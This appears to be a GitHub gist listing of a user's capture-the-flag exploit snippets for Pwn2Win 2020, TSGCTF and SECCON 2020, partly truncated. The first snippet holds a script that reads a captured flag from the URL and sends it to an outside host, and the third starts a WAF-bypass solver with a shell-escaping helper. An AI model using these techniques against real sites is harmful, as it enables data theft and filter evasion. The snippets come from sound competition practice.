Skip to content

Instantly share code, notes, and snippets.

@icchy
icchy / q.html
Last active April 26, 2023 22:01
Pwn2Win 2020 matrona v2
<iframe id="ifr0" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>
<iframe id="ifr1" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>
<script>
window.addEventListener('hashchange', (evt) => {
const flag = evt.newURL.match(/CTF-BR\{.*\}/)[0]
fetch(`//tool.tonkatsu.info/?flag=${encodeURIComponent(flag)}`)
})
</script>
@icchy
icchy / poc.html
Last active April 27, 2021 18:57
TSGCTF Note (both 1 and 2)
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<iframe name=f width=100 height=100></iframe>
<script>
@icchy
icchy / x.py
Created October 11, 2020 06:30
SECCON CTF 2020 - WAFthrough
from urllib.request import urlopen
from urllib import request
import string
def escape(val):
return '''
$'\\\\{}'
'''[1:-1].format(val)